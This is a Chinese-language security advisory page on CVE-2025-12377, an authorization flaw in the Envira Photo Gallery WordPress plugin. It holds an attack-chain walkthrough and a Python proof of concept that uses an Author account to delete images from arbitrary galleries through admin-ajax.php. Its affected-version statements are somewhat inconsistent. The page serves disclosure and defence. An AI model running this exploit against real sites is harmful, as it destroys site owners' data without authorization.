IPBUF安全漏洞报告
English
CVE-2025-12377 CVSS 4.3 中危

WordPress Envira Photo Gallery插件缺少授权验证漏洞(CVE-2025-12377)

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-12377
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Envira Photo Gallery WordPress插件

相关标签

授权绕过WordPress插件漏洞Missing Capability CheckBroken Access ControlEnvira Photo GalleryCVE-2025-12377中危漏洞AJAX接口漏洞

漏洞概述

WordPress Envira Photo Gallery插件(又称The Gallery Plugin for WordPress – Envira Photo Gallery)在1.12.0及之前的所有版本中存在严重的授权绕过漏洞。该漏洞源于多个管理函数缺少WordPress能力检查(capability check),导致具有Author级别及以上权限的认证用户可以执行超出其权限范围的操作。攻击者可以利用此漏洞修改任意相册数据,包括删除其他用户创建的相册中的图片。此漏洞于1.12.0版本进行了部分修补,但问题并未完全解决。由于该插件在WordPress生态中广泛使用,大量网站可能受到影响。建议所有用户立即更新到最新版本并检查异常管理行为。

技术细节

该漏洞的核心问题是Envira Photo Gallery插件的AJAX处理模块(includes/admin/ajax.php)中的多个关键函数缺少WordPress权限验证机制。在WordPress安全模型中,执行敏感操作前应调用current_user_can()函数验证用户是否具有相应权限(如edit_post、delete_post等),但这些函数直接处理请求而未进行任何权限检查。攻击者只需拥有Author级别账号(最低要求PR:L),通过构造特定的AJAX请求即可触发漏洞。典型的攻击Payload包括:发送包含目标相册ID和图片ID的删除请求到wp-admin/admin-ajax.php端点,action参数设置为envira_gallery_remove_image等。由于攻击通过标准AJAX接口发起,HTTP请求特征与正常管理操作无异,难以被传统WAF检测。该漏洞允许攻击者删除任意相册中的图片,造成数据破坏,同时可能通过图片删除操作进一步利用其他业务逻辑缺陷。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的WordPress版本及Envira Photo Gallery插件版本,确认版本 <= 1.12.0
STEP 2
Authentication
攻击者获取WordPress Author级别或更高权限的账户凭据(可通过社工、弱口令、凭据填充等方式)
STEP 3
Payload Crafting
攻击者构造恶意AJAX请求,包含目标相册ID、图片ID及对应的action参数(如envira_gallery_remove_image)
STEP 4
Exploitation
通过wp-admin/admin-ajax.php端点发送请求,由于插件缺少权限验证,请求被直接执行
STEP 5
Impact
目标相册中的图片被未授权删除,造成数据破坏;可扩展为大规模删除或结合其他漏洞利用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12377 PoC - Envira Photo Gallery Unauthorized Data Modification # Target: WordPress site with Envira Photo Gallery plugin <= 1.12.0 target_url = "http://target-wordpress-site.com" session = requests.Session() # Step 1: Authenticate with Author-level account login_url = f"{target_url}/wp-login.php" login_data = { "log": "author_username", "pwd": "author_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/" } login_response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in session.cookies.get_dict(): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Exploit - Delete images from arbitrary gallery ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "envira_gallery_remove_image", "gallery_id": "1", # Target gallery ID "image_id": "100", # Image ID to delete "nonce": "attacker_provided_or_bypassed_nonce" } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent - Check if image was deleted") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed")

影响范围

Envira Photo Gallery (Lite) < 1.12.0
Envira Photo Gallery (Premium) 所有 <= 1.12.0 的版本

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时缓解措施:1) 限制Author级别用户的注册和权限;2) 使用WordPress安全插件添加AJAX请求频率限制;3) 实施IP白名单策略限制后台访问;4) 定期备份网站数据以便快速恢复。但这些措施不能根本解决问题,必须尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表